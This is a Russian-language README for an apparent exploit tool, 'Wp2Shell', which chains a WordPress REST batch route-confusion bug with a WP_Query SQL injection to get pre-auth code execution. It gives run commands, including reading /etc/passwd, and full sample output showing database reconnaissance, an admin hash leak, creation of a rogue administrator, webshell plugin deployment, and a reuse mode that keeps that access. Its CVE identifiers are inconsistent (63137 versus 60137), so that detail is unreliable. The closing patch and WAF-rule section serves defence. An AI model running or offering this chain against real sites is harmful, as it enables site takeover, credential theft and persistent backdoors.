
Эксплойт PoC для Wp2Shell, CVE-2026-63030 + CVE-2026-63137
Выполнение произвольного кода в ядре WordPress до аутентификации.
CVE-2026-60137 (SQL-инъекция в WP_Query) в связке с CVE-2026-63030 (путаница маршрутов в REST API Batch).
Только для образовательных целей и санкционированных исследований безопасности.
Уязвимы WordPress 6.9.0–6.9.4 и 7.0.0–7.0.1. Исправлено в 6.9.5 и 7.0.2.
Эксплойт объединяет две уязвимости:
CVE-2026-63030 — путаница маршрутов в Batch-эндпоинте. Batch-эндпоинт REST API по адресу /wp-json/batch/v1 (или /?rest_route=/batch/v1) обрабатывает подзапросы в два этапа: сначала он сопоставляет каждый путь с обработчиком, затем отправляет каждый запрос через соответствующий обработчик. Когда в качестве первого подзапроса вставляется намеренно повреждённый путь (///), WordPress сохраняет объект WP_Error по индексу 0 в массиве сопоставленных маршрутов. Это сдвигает все последующие назначения обработчиков на один индекс назад. Затем цикл отправки сопоставляет каждый запрос с неверным обработчиком — запрос, проверенный в соответствии со Schema A, выполняется обработчиком B, минуя санитизацию параметров, которую обеспечивала Schema A.
CVE-2026-60137 — SQL-инъекция в WP_Query. Эндпоинт коллекции записей принимает параметр author_exclude, схема которого требует массив целочисленных значений, санитизируя каждый элемент с помощью absint() до того, как он попадёт в WP_Query. Из-за рассинхронизации batch-обработки этот параметр полностью минует проверку схемы и попадает в логику author__not_in в WP_Query в виде необработанной строки. Поскольку absint() применяется только внутри ветки is_array(), необработанная строка интерполируется непосредственно в SQL-предложение WHERE, что делает возможной инъекцию UNION SELECT.
Полная цепочка состоит из четырёх шагов:
UNION SELECT, отражаемые в JSON-ответе REST.wp_posts, которые отравляют oEmbed-кэш и запускают хук публикации changeset'ов в WP_Customize_Manager, вызывающий wp_insert_user() с role=administrator.git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell
Установка через pip не требуется.
Запускает все четыре шага: подтверждение рассинхронизации, SQL-разведку, создание администратора и развёртывание веб-шелла. При каждом запуске создаются новая учётная запись администратора и новый плагин.
python3 exploit.py --url http://TARGET --command "id"
python3 exploit.py --url http://TARGET --command "uname -a"
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"
Для HTTPS-цели с самоподписанным сертификатом:
python3 exploit.py --url https://TARGET --command "id" --insecure
После завершения полной цепочки скрипт выводит готовую к использованию команду повторного запуска с предзаполненными развёрнутыми учётными данными и путём к шеллу. Передайте эти три флага при последующих запусках, чтобы полностью пропустить этапы SQL-разведки и создания администратора:
python3 exploit.py \
--url http://TARGET \
--command "whoami" \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password "Wp2!J47LBKLEbu4ebAJo" \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
[--admin-user USER] [--admin-password PASS]
[--prev-webshell-plugin PATH]
Все три флага --admin-* / --prev-webshell-plugin должны передаваться либо вместе, либо не передаваться вовсе.
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : http://localhost:8080
Command: uname -a
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi -- database reconnaissance
[+] Database version : 10.11.18-MariaDB-ubu2204
[+] Database user : wpuser@%
[+] Database name : wordpress
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [96, 97, 98]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_poc_da4d1cf83acb password: Wp2!J47LBKLEbu4ebAJo
[STEP 4] Authenticating + deploying webshell -- running: uname -a
[*] Logging in to wp-admin...
[+] Logged in as administrator
[*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
[+] Plugin uploaded
[*] Activating plugin...
[+] Plugin activated
[*] Executing: uname -a
============================================================
COMMAND OUTPUT -- uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================
[+] RCE confirmed -- Pre-Auth exploit chain complete
+-- RE-USE HINT ------------------------------------------+
| Skip the full chain next time -- pass these flags: |
+-----------------------------------------------------------+
python3 exploit.py \
--url http://localhost:8080 \
--command 'YOUR_COMMAND' \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password 'Wp2!J47LBKLEbu4ebAJo' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
Немедленно обновитесь до исправленной версии.
wp core updatewp core update --version=6.9.5wp core update --version=6.8.6Если немедленное обновление невозможно, заблокируйте обе формы URL batch-эндпоинта на уровне веб-сервера или WAF. Должны быть заблокированы оба маршрута — правило, охватывающее только форму с красивыми постоянными ссылками, оставляет открытой форму с query-строкой:
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]
Либо отключите эндпоинт изнутри WordPress с помощью must-use плагина:
<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );
Рассматривайте все меры до установки патча только как временное решение. Примените патч как можно скорее и после этого проверьте установленную версию на каждом экземпляре, доступном из интернета.
Этот инструмент предоставляется исключительно в образовательных целях и для санкционированного тестирования на проникновение. Запуск его против любой системы без явного предварительного письменного разрешения владельца системы является незаконным. Авторы не несут ответственности за любое неправомерное использование.
| Флаг | Короткий | Описание |
|---|
--url | -u | Базовый URL целевой WordPress. По умолчанию: http://localhost:8080 |
--command | -c | Команда ОС для выполнения. По умолчанию: id |
--insecure | -k | Отключить проверку TLS-сертификата для самоподписанных сертификатов |
--admin-user | Режим повторного использования: ранее созданное имя администратора | |
--admin-password | Режим повторного использования: ранее созданный пароль администратора | |
--prev-webshell-plugin | Режим повторного использования: веб-путь к уже развёрнутому плагину-шеллу |